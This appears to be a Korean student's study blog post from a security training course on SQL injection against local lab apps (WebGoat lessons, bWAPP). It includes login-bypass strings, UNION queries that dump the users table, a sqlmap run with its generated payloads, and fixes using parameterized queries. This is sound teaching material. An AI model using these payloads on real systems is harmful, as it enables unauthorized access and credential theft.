[SK shieldus Rookies 19기] 애플리케이션 보안 3일차

기록하는짱구·2024년 3월 14일
0

SK Shieldus Rookies 19기

목록 보기
11/43
post-thumbnail

📌 애플리케이션 보안

💻 실습 준비

❶ beebox, kali 가상머신 실행
❷ 작업 관리자에서 MySQL을 종료하고, C:\FullstackLAB\run.bat 실행
❸ 이클립스에서 Tomcat 서버 실행

💻 취약한 소스 코드를 안전한 형태로 변경

protected Element createContent(WebSession s)
   {
	ElementContainer ec = new ElementContainer();

	try
	{
	    Connection connection = DatabaseUtilities.getConnection(s);

	    ec.addElement(new P().addElement("Enter your Account Number: "));

	    String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
	    Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
	    ec.addElement(input);

	    Element b = ECSFactory.makeButton("Go!");
	    ec.addElement(b);

	    // PreparedStatement 객체를 이용해서 미리 정의한 구조로 쿼리가 실행되는 것을 보장
	    // → 구조화된 쿼리 실행 또는 파라미터화 된 쿼리 실행
	    
	    // #1 쿼리의 구조를 정의 
	    //    변수 부분을 ?로 표시 (데이터 타입을 고려하지 않음 = 따움표를 포함하지 않음)   
       
	    String query = "SELECT * FROM user_data WHERE userid = ? ";
	    
	    String answer_query = "SELECT name FROM pins WHERE cc_number = '" + TARGET_CC_NUM +"'";

	    try
	    {
	    	Statement answer_statement = connection.createStatement( 
	    			ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
		   	ResultSet answer_results = answer_statement.executeQuery(answer_query);
		answer_results.first();
		System.out.println("Account: " + accountNumber );
		System.out.println("Answer : " + answer_results.getString(1));
		if (accountNumber.toString().equals(answer_results.getString(1)))
		{
		    makeSuccess(s);
		} else
		{
		    // #2 PreparedStatement 객체를 생성 
	    	//    connection.prepareStatement() 메서드를 이용해서 생성
	    	//    매개 변수의 값으로 쿼리 구조를 전달
           
	    	PreparedStatement statement = 
           connection.prepareStatement(query, → 객체 생성 시 쿼리 구조 미리 정의
			    ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
	    	
	    	// #3 쿼리 실행에 필요한 변수를 설정하고 쿼리를 실행
	    	//    변수 값이 할당되는 컬럼의 데이터 타입에 맞는 메서드를 사용해야 하고, 
	    	//    쿼리 실행 메서드에 쿼리문을 전달하지 않아야 함
           
	    	statement.setInt(1,
           Integer.parseInt(accountNumber));  → 변수의 값을 할당 (인덱스가 1부터 시작) 
										    공격 문자가 포함되면 숫자 변환 시 오류 발생
	    	ResultSet results
           = statement.executeQuery();  → 쿼리 구문이 이미 정의되어 있으므로 	
							       executeQuery() 메서드에 쿼리문을 전달하지 않음
                                  
		    if ((results != null) && (results.first() == true))
		    {
			ec.addElement(new P().addElement("Account number is valid"));
		    } else
		    {
			ec.addElement(new P().addElement("Invalid account number"));
		    }
		}
	    }
	    catch (SQLException sqle)
	    {
		ec.addElement(new P().addElement("An error occurred, please try again."));
		
		// comment out two lines below
		ec.addElement(new P().addElement(sqle.getMessage()));
		sqle.printStackTrace();
	    
	    }
	}
	catch (Exception e)
	{
	    s.setMessage("Error generating " + this.getClass().getName());
	    e.printStackTrace();
	}

	return (ec);
   }

📖 LAB: SQL Injection > Stage 1: String SQL Injection

  • 해당 사이트에 Neville 사용자로 로그인

❶ 개발자 도구를 이용해 로그인 버튼을 클릭했을 때 서버로 전달되는 내용 분석

attack?Screen=18&menu=1100&employee_id=112&password=입력한패스워드&action=Login
	
			<form id="form1" name="form1" method="post" action="attack?Screen=18&amp;menu=1100">
			    	<label>
			      	<select name="employee_id">
			      	<option value="101">Larry Stooge (employee)</option>
			      	<option value="102">Moe Stooge (manager)</option>
			      	<option value="103">Curly Stooge (employee)</option>
			      	<option value="104">Eric Walker (employee)</option>
			      	<option value="105">Tom Cat (employee)</option>
			      	<option value="106">Jerry Mouse (hr)</option>
			      	<option value="107">David Giambi (manager)</option>
			      	<option value="108">Bruce McGuirre (employee)</option>
			      	<option value="109">Sean Livingston (employee)</option>
			      	<option value="110">Joanne McDougal (hr)</option>
			      	<option value="111">John Wayne (admin)</option>
			      	<option value="112">Neville Bartholomew (admin)</option>
	                </select>
		        </label>
				<br>
			    	<label>Password
			    		<input name="password" type="password"
                        size="10" maxlength="8">
                                  ~~~~~~~~~~~^~~
                                  # 입력값 최대 길이 제한
			    </label>
				<br>
				<input type="submit" name="action" value="Login">
			</form>

❷ 요청 파라미터를 이용한 내부 실행(쿼리문을 만들고 실행)을 유추

select * from users where id = 112 and pw = '입력한 패스워드'
# 일치하는 결과가 존재하면 로그인에 성공 

❸ 유추한 쿼리를 일치하는 결과가 항상 존재하도록 수정

select * from users where id = 112 and pw = 'a' or 'a' = 'a'	
                                             ~  ~~~~~~~~~~~
                                             |  +-- 항상 참이 되는 조건을 추가
                                             +-- 의미 없는 값(아무 값 가능)

❹ 패스워드 입력창에 ❸에서 만든 공격 문자열을 추가해서 로그인을 시도
👉 maxlength=8 로 입력값의 길이가 제한되어 공격 문자열을 입력할 수 없음

❺ 방법 ⑴ 개발자 도구를 이용해 입력값 길이 제한을 해제 후 공격

❺ 방법 ⑵ 프록시 도구를 이용해 요청 데이터를 변조해서 전달(공격)

  • 실습 리셋

  • 인터셉터 설정

  • 로그인 요청 전달

  • 인터셉터 된 내용에서 요청 파라미터에 공격 문자열을 포함하도록 변조 후 전달

❻ 로그인 성공
👉 SQL 인젝션 취약점을 이용한 인증과정 우회

❼ 해당 사이트의 문제점

  • 클라이언트(화면) 사이드에서 입력값의 길이를 제한했으면 서버 사이드에서 입력값의 길이를 체크해야 하나 하지 않음
    👉 입력값 검증 부재

  • 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 쿼리문 생성 및 실행에 사용
    👉 SQL Injection

❽ 취약한 소스 코드 확인

public boolean login(WebSession s, String userId, String password) {
	// System.out.println("Logging in to lesson");
	boolean authenticated = false;

	try {
    
		// 외부 입력값을 쿼리 조작 문자열 포함 여부를 확인하지 않고
           문자열 결합 방식으로 쿼리문 생성에 사용
		String query = "SELECT * FROM employee WHERE userid = " + userId + " 
        and password = '" + password + "'";
        
		// System.out.println("Query:" + query);
		try {
        
			// Statement 객체를 이용해서 쿼리를 실행
			Statement answer_statement = WebSession.getConnection(s)
					.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, 
                    ResultSet.CONCUR_READ_ONLY);
			ResultSet answer_results = answer_statement.executeQuery(query);
            
			if (answer_results.first()) {
				setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
				setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
				authenticated = true;
			}
		} catch (SQLException sqle) {
			s.setMessage("Error logging in");
			sqle.printStackTrace();
		}
	} catch (Exception e) {
		s.setMessage("Error logging in");
		e.printStackTrace();
	}

	// System.out.println("Lesson login result: " + authenticated);
	return authenticated;
}
  • 소스 코드의 문제점
    ✔ SQL Injection

👉 해당 소스 코드는 Statement 객체를 이용해서 쿼리를 실행하고 있는데 외부 입력값을 쿼리 조작 문자열 포함 여부를 확인하지 않고 문자열 결합 방식으로 쿼리문 생성에 사용하므로 외부 입력값에 의해 쿼리의 구조와 내용이 변형되어 실행될 수 있음

  • 안전한 형태로 변경
public boolean login(WebSession s, String userId, String password) {
	// System.out.println("Logging in to lesson");
	boolean authenticated = false;

	try {
    
		// #1 쿼리의 구조를 정의 
		String query = "SELECT * FROM employee
        WHERE userid = ? and password = ? ";
        
		// System.out.println("Query:" + query);
		try {
			// #2 PreparedStatement 객체를 생성
			PreparedStatement answer_statement = WebSession.getConnection(s)
				.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
                				  ResultSet.CONCUR_READ_ONLY);
			
			// #3 변수에 값 전달 후 쿼리 실행
			answer_statement.setInt(1, Integer.parseInt(userId));
			answer_statement.setString(2, password);
            
			ResultSet answer_results = answer_statement.executeQuery();
            
			if (answer_results.first()) {
				setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
				setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
				authenticated = true;
			}
		} catch (SQLException sqle) {
			s.setMessage("Error logging in");
			sqle.printStackTrace();
		}
	} catch (Exception e) {
		s.setMessage("Error logging in");
		e.printStackTrace();
	}

	// System.out.println("Lesson login result: " + authenticated);
	return authenticated;
}

📖 LAB: SQL Injection > Stage 3: Numeric SQL Injection

  • Larry 사용자로 로그인해서 Neville 사용자의 프로파일을 훔쳐보시오.
    (Larry의 패스워드는 larry이고, Neville의 사번은 112번임)

  • Larry 사용자는 employee 권한을 가지고 있으므로, 본인 프로파일만 열람 가능

❶ ViewProfile 버튼을 클릭했을 때 서버로 전달되는 내용을 분석

attack?Screen=18&amp;menu=1100&employee_id=101&action=ViewProfile
                               ~~~~~~~~~~~~~~~
                             # 열람하도록 하는 사용자의 사번 

select * from users where user_id = 101
	

<form id="form1" name="form1" method="post" action="attack?Screen=18&amp;menu=1100">
  <table width="60%" cellpadding="3" border="0">
  <tbody><tr>
      <td>  <label>
  	<select name="employee_id" size="11">
		<option selected="" value="101">Larry Stooge (employee)</option>
</select>
  </label></td>
      <td>
	<input type="submit" name="action" value="SearchStaff"><br>
       	<input type="submit" name="action" value="ViewProfile"><br>
<br>
	<input type="submit" name="action" value="Logout">
  </td>
    </tr>
  </tbody></table>
</form>

❷ 개발자 도구 또는 Proxy 도구를 이용해서 employee_id의 값을 Neville의 사번(112)으로 변경해서 요청을 시도

  • 데이터 레이어에서의 접근 통제가 구현되어 있어 다른 사용자의 아이디로 요청을 하면 오류가 발생

❸ 소스 코드 확인

  • SQL Injection 취약점이 존재

public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException {
	Employee profile = null;

	// Query the database for the profile data of the given employee
	try {
    
		String query = "SELECT employee.* "
				+ "FROM employee,ownership
                   WHERE employee.userid = ownership.employee_id and "
				+ "ownership.employer_id = " + userId + "
                   and ownership.employee_id = " + subjectUserId;

		try {
        
			Statement answer_statement = WebSession.getConnection(s)
					.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, 
                    				 ResultSet.CONCUR_READ_ONLY);
			ResultSet answer_results = answer_statement.executeQuery(query);
			if (answer_results.next()) {  # 조회 결과 데이터의 맨 처음
            							    데이터를 읽어서 출력
				
                // Note: Do NOT get the password field.
				profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
						answer_results.getString("last_name"), answer_results.getString("ssn"),
						answer_results.getString("title"), answer_results.getString("phone"),
						answer_results.getString("address1"), answer_results.getString("address2"),
						answer_results.getInt("manager"), answer_results.getString("start_date"),
						answer_results.getInt("salary"), answer_results.getString("ccn"),
						answer_results.getInt("ccn_limit"), answer_results.getString("disciplined_date"),
						answer_results.getString("disciplined_notes"),
						answer_results.getString("personal_description"));
				// System.out.println("Profile: " + profile);
				/*
				 * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
				 * " " + profile.getLastName() + " (" + profile.getId() + ")");
				 */}
		} catch (SQLException sqle) {
			s.setMessage("Error getting employee profile");
			sqle.printStackTrace();
		}
	} catch (Exception e) {
		s.setMessage("Error getting employee profile");
		e.printStackTrace();
	}

	return profile;
}

❹ 개발자 도구를 이용해서 공격 문자열을 전달

❺ 결과 확인

❻ 소스 코드를 안전한 형태로 변경

public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException {
	Employee profile = null;

	// Query the database for the profile data of the given employee
	try {
    
		// #1 쿼리의 구조를 정의
		String query = "SELECT employee.* "
				+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
				+ "ownership.employer_id = ? and ownership.employee_id = ? ";

		try {
        
			// #2 PreparedStatement 객체를 생성
			PreparedStatement answer_statement = WebSession.getConnection(s)
				.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
			
			// #3 변수에 값을 맵핑하고 쿼리를 실행
			answer_statement.setInt(1, Integer.parseInt(userId));
			answer_statement.setInt(2, Integer.parseInt(subjectUserId));
            
			ResultSet answer_results = answer_statement.executeQuery();
            
			if (answer_results.next()) {
				// Note: Do NOT get the password field.
				profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
						answer_results.getString("last_name"), answer_results.getString("ssn"),
						answer_results.getString("title"), answer_results.getString("phone"),
						answer_results.getString("address1"), answer_results.getString("address2"),
						answer_results.getInt("manager"), answer_results.getString("start_date"),
						answer_results.getInt("salary"), answer_results.getString("ccn"),
						answer_results.getInt("ccn_limit"), answer_results.getString("disciplined_date"),
						answer_results.getString("disciplined_notes"),
						answer_results.getString("personal_description"));
				// System.out.println("Profile: " + profile);
				/*
				 * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
				 * " " + profile.getLastName() + " (" + profile.getId() + ")");
				 */}
		} catch (SQLException sqle) {
			s.setMessage("Error getting employee profile");
			sqle.printStackTrace();
		}
	} catch (Exception e) {
		s.setMessage("Error getting employee profile");
		e.printStackTrace();
	}

	return profile;
}

📖 UNION Based SQL Injection

👆 Kali 가상머신에서 http://bee.box/bWAPP 로 접속 후 SQL Injection (GET/Search) 선택하고 Hack 버튼을 클릭 (만약 Security Level이 low가 아니면 low 선택 후 Set 버튼을 클릭해서 변경)

🎥 영화 검색 서비스
입력한 키워드가 제목에 들어간 영화를 조회해서 정보를 제공

🔎 문제
해당 서비스에 등록된 모든 사용자의 계정 정보를 탈취하시오.

✔ 기능 분석

  • 사용자 화면
Movie: man
  • 서버로 전달
/bWAPP/sqli_1.php?title=man&action=search

    <form action="/bWAPP/sqli_1.php" method="GET">
        <p>
        <label for="title">Search for a movie:</label>
        <input type="text" id="title" name="title" size="25">

        <button type="submit" name="action" value="search">Search</button>
        </p>
    </form>
  • 내부 처리 유추
select * from movies where title like '%man%'
# 조건과 일치하는 데이터를 조회해서 출력 
  • 사용자 화면에서 입력한 값이 서버로 전달되어 내부 처리에 사용되는 과정에서 입력값을 검증 및 제한하는지 확인
    👉 오류를 유발하는 코드를 포함해서 전달하고 그 결과를 분석
select * from movies where title like '%man'%'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^ 
# 정상적인 쿼리로 해석                         # 알 수 없는 내용 
# 제목이 man으로 끝나는 데이터를 조회           # 구문 오류 발생

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' %'' at line 1

💡 오류 메시지를 통해 아래 내용 확인 가능
❗ 해당 서비스의 데이터베이스는 MySQL이고, 입력값을 검증·제한하지 않고 그대로 쿼리문 생성 및 실행에 사용되고 있음을 알 수 있음
❗ 인젝션 가능

  • 공격자가 원하는 데이터가 조회되어 해당 화면에 출력되도록 쿼리를 변조
    📝 사용자 화면에 man으로 끝나는 영화 정보와 공격자가 알고자 하는 정보가 함께 출력
select * from movies where title like '%man' UNION 공격자가 원하는 데이터를 조회하는 쿼리 -- %'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~
(1) 서비스 쿼리의 실행 결과                     	|     (2) 공격자가 알고자 하는 결과      # 인라인 주석 (#과 동일)
                                             	|
                                                +-- (1) 쿼리의 결과 (2) 쿼리의 결과를 하나로 합쳐주는 역할
                                                 . 두 쿼리의 실행 결과가 동일한 컬럼 개수를 가져야 함
                                                 . 두 쿼리의 실행 결과의 각 컬럼의 데이터 타입이 호환 가능해야 함 
                                                 ⇒ (1) 쿼리의 실행 결과로 반환되는 컬럼의 개수와 데이터 타입을 
                                                    확인하는 것이 필요 
  • 서비스 쿼리의 실행 결과가 반환하는 컬럼의 개수를 확인
    📝 서비스 쿼리가 반환하는 컬럼의 개수는 7개인 것을 확인
select * from movies where title like '%man' or 'a' = 'a' order by 1 -- %'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~
# 모든 데이터를 조회                                        # 조회 결과를 첫번째
													   컬럼의 값을 기준으로 정렬    

select * from movies where title like '%man' or 'a' = 'a' order by 2 -- %'
			:
select * from movies where title like '%man' or 'a' = 'a' order by 8 -- %'

  • 서비스 쿼리 실행이 반환하는 컬럼의 데이터 타입과 관계 없이 결합 가능하도록 쿼리를 수정
select * from movies where title like '%man' and 'a' = 'b' -- %'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# 항상 거짓이 되는 조건 추가
→ 조회 결과가 없음
→ 모든 데이터 타입과 결합이 가능 
  • 조회 결과가 어느 위치에 출력되는지 확인
    📝 서비스 쿼리가 반환하는 7개 컬럼 중 4개의 컬럼만 화면 출력에 사용되고 출력 위치를 확인
select * from movies where title like '%man'
and 'a' = 'b' UNION select 1, 2, 3, 4, 5, 6, 7 -- %'

  • 데이터베이스의 버전 정보를 화면에 출력
select * from movies where title like '%man'
and 'a' = 'b' UNION select 1, @@version, 3, 4, 5, 6, 7 -- %'

select * from movies where title like '%man' and 'a' = 'b' UNION select 1,
table_name, table_type, 4, 5, 6, 7 from information_schema.tables -- %'

  • 사용자 정보가 있을 것 같은 테이블의 컬럼 정보를 조회
select * from movies where title like '%man' and 'a' = 'b' UNION
select 1, table_name, column_name, 4, 5, 6, 7 from information_schema.columns
where table_name = 'users' -- %'

  • users 테이블의 id, login, password, email, secret 컬럼의 정보를 조회
select * from movies where title like '%man' and 'a' = 'b' UNION select 1,
concat(id, ' : ', login), password, email, secret, 6, 7 from users -- %'

  • 패스워드 크래킹을 통해서 사용자의 패스워드(원문)를 확인
    https://crackstation.net

  • 안전하지 않은 해시 함수를 사용하는 경우, 쉽게 원문을 추출할 수 있음

  • 해당 사이트에 가입된 사용자 계정을 확인
    👉 A.I.M. / bug
    👉 bee / bug

  • 취약한 소스 코드 확인 (bee-box 가상머신에서 gedit를 실행)

bee@bee-box:~$ gedit

# sqli_1.php


<?php
include("security.php");
include("security_level_check.php");
include("selections.php");
include("functions_external.php");  # 보안 등급별로 실행될 함수를 정의하고 있는 파일
include("connect.php");

function sqli($data)
{
    switch($_COOKIE["security_level"])	# 사용자 화면에서 설정한
                                          보안 등급(쿠키에 저장되어 있음)에 따라 동작
    {
        case "0" :				# 낮은 보안 등급이 설정되면 취약한 함수가 호출
            $data = no_check($data);   # 매개 변수로 전달한 값을 그대로 반환
            					       = 입력값이 그대로 사용되는 구조
            break;

        case "1" :
            $data = sqli_check_1($data);  # 높은 보안 등급은 매개 변수에서
            								문제가 되는 부분을 제거하는 기능 구현
            break;

        case "2" :
            $data = sqli_check_2($data);
            break;

        default :
            $data = no_check($data);
            break;
    }

    return $data;
}
?>
		... 화면 구성 ...

<div id="main">

    <h1>SQL Injection (GET/Search)</h1>

    <form action="<?php echo($_SERVER["SCRIPT_NAME"]); ?>" method="GET">
    											# 문제 부분
											      사용자가 입력한 값을 현재 페이지로
        <p>										  다시 호출하는 구조

        <label for="title">Search for a movie:</label>
        <input type="text" id="title" name="title" size="25">

        <button type="submit" name="action" value="search">Search</button>	
        										# 버튼을 클릭하면 action 이름으로 
											      search라는 값을 전달
        </p>										

    </form>

    <table id="table_yellow">
        <tr height="30" bgcolor="#ffb717" align="center">
            <td width="200"><b>Title</b></td>
            <td width="80"><b>Release</b></td>
            <td width="140"><b>Character</b></td>
            <td width="80"><b>Genre</b></td>
            <td width="80"><b>IMDb</b></td>
        </tr>
<?php

if(isset($_GET["title"]))  # 제목을 입력하고 search 버튼을
							 클릭해서 온 요청인지를 판단
{
    $title = $_GET["title"];
    $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
                                                      ~~~~~~~~~~~~~~~~              
    $recordset = mysql_query($sql, $link);     # 문자열 결합 방식으로 쿼리문 생성  
                                                 보안 등급별 함수 호출 결과를 이용
    if(!$recordset)				               # 오류가 발생하는 경우 
    {
        // die("Error: " . mysql_error());
?>
        <tr height="50">
            <td colspan="5" width="580"><?php die("Error: " . mysql_error()); ?></td>
        </tr>
<?php

    }

    if(mysql_num_rows($recordset) != 0)		   # 조회 결과가 있는 경우 
    {
        while($row = mysql_fetch_array($recordset))         
        {
?>
        <tr height="30">
            <td><?php echo $row["title"]; ?></td>
            <td align="center"><?php echo $row["release_year"]; ?></td>
            <td><?php echo $row["main_character"]; ?></td>
            <td align="center"><?php echo $row["genre"]; ?></td>
            <td align="center"><a href="http://www.imdb.com/title/<?php echo $row["imdb"]; ?>" target="_blank">Link</a></td>
        </tr>
<?php

        }
    }
    else					                 	# 조회 결과가 없는 경우 
    {
?>
        <tr height="30">
            <td colspan="5" width="580">No movies were found!</td>
        </tr>
<?php
    }

    mysql_close($link);				            # 데이터베이스 연결을 종료
}
else						                    # 메뉴를 통해서 호출되는 경우
							                    → 조회 결과 없이 기능을 제공 
{
?>
        <tr height="30">
            <td colspan="5" width="580"></td>
        </tr>
<?php

}

?>

    </table>
</div>
		... 공통 부분 ...
  • functions_external.php 파일에서 no_check() 함수와 sqli_check_1() 함수, sqli_check_2() 함수를 확인
function no_check($data)
{    
    return $data;			# 매개변수 값을 그대로 반환 
}						    → 쿼리 조작 문자열이 포함되어 있어도 그대로 사용되게 됨

function sqli_check_1($data)
{
    return addslashes($data);  # https://www.php.net/manual/en/function.addslashes.php
}

function sqli_check_2($data)
{
    return mysql_real_escape_string($data);  # https://www.php.net/manual/en/function.mysql-real-escape-string.php
}

📖 sqlmap을 이용한 공격

💻 kali 가상머신에서 진행

  • sqlmap 설치
┌──(kali㉿kali)-[~]
└─$ sudo apt update

┌──(kali㉿kali)-[~]
└─$ sudo apt install -y sqlmap
  • 개발자 도구를 이용해 쿠키값을 확인

  • 데이터베이스 목록 조회
                                  # 인젝션에 사용되는 요청 파라미터를 지정   
┌──(kali㉿kali)-[~]                           ~~~~~~~~~
└─$ sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man 
--cookie="PHPSESSID=9a7ebadcd055dcb3b555493c86862342; 
security_level=0" --dbs				
						# login.php 페이지로 리다이렉트된다는 메시지가 나오는 경우 
         		          다시 로그인한 후 쿠키값을 재설정해서 실행
        ___
       __H__                                                                 
 ___ ___[,]_____ ___ ___  {1.8.3#stable}                                     
|_ -| . [.]     | .'| . |                                                    
|___|_  [)]_|_|_|__,|  _|                                                    
      |_|V...       |_|   https://sqlmap.org                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:44:45 /2024-03-23/

[08:44:46] [INFO] testing connection to the target URL
[08:44:47] [WARNING] potential CAPTCHA protection mechanism detected
[08:44:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[08:44:47] [INFO] testing if the target URL content is stable
[08:44:48] [INFO] target URL content is stable
[08:44:48] [INFO] testing if GET parameter 'title' is dynamic
[08:44:48] [INFO] GET parameter 'title' appears to be dynamic

[08:44:48] [INFO] heuristic (basic) test shows that GET parameter 'title' might be injectable (possible DBMS: 'MySQL')
																  ~~~~~~~~~~~~~~~~~~~~~~~~~~~

[08:44:49] [INFO] heuristic (XSS) test shows that GET parameter 'title' might be vulnerable to cross-site scripting (XSS) attacks
[08:44:49] [INFO] testing for SQL injection on GET parameter 'title'

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
				  ~~~~~~~~~~~~~~~~~~~~~~~~~
                  
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[09:00:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:00:46] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[09:00:46] [WARNING] there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests
[09:00:46] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[09:00:46] [WARNING] reflective value(s) found and filtering out
[09:00:47] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'                                                                      
[09:00:47] [INFO] testing 'Generic inline queries'
[09:00:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'                                                              
[09:00:48] [INFO] GET parameter 'title' appears to be 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="The") 
[09:00:48] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'                                   
[09:00:48] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'                                                        
[09:00:48] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'                                               
[09:00:48] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'                                                                    
[09:00:48] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'                                       
[09:00:48] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'                                                            
[09:00:48] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'                                       
[09:00:48] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'                                                            
[09:00:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'                                             
[09:00:48] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'                                              
[09:00:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'                                      
[09:00:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'                                       
[09:00:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'                                         
[09:00:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'                                          
[09:00:48] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'                                             
[09:00:48] [INFO] GET parameter 'title' is 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                 
[09:00:48] [INFO] testing 'MySQL inline queries'
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'                                                                       
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[09:00:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'                                                                          
[09:00:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:00:58] [INFO] GET parameter 'title' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable                                     
[09:00:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:00:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[09:00:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:00:59] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[09:00:59] [INFO] target URL appears to have 7 columns in query
[09:00:59] [INFO] GET parameter 'title' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable                                                        
GET parameter 'title' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 53 HTTP(s) requests:
---
Parameter: title (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: title=man' AND 8478=8478#

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: title=man' AND ROW(7222,8610)>(SELECT COUNT(*),CONCAT(0x716b717071,(SELECT (ELT(7222=7222,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM (SELECT 7663 UNION SELECT 7891 UNION SELECT 5544 UNION SELECT 5759)a GROUP BY x)-- GjWE

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: title=man' AND (SELECT 1592 FROM (SELECT(SLEEP(5)))Eyqw)-- GmxL

    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: title=man' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b717071,0x7551495462494a645371475777696e46445a4b756962516c4c7644664a5a556a625368436873787a,0x71707a7071),NULL#
    
    
---
[09:09:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 4.1
[09:09:51] [INFO] fetching database names
available databases [4]:
[*] bWAPP
[*] drupageddon
[*] information_schema
[*] mysql


[09:09:51] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/bee.box'                                                 

[*] ending @ 09:09:51 /2024-03-23/
  • bWAPP 데이터베이스가 가지고 있는 테이블 정보 조회
┌──(kali㉿kali)-[~]
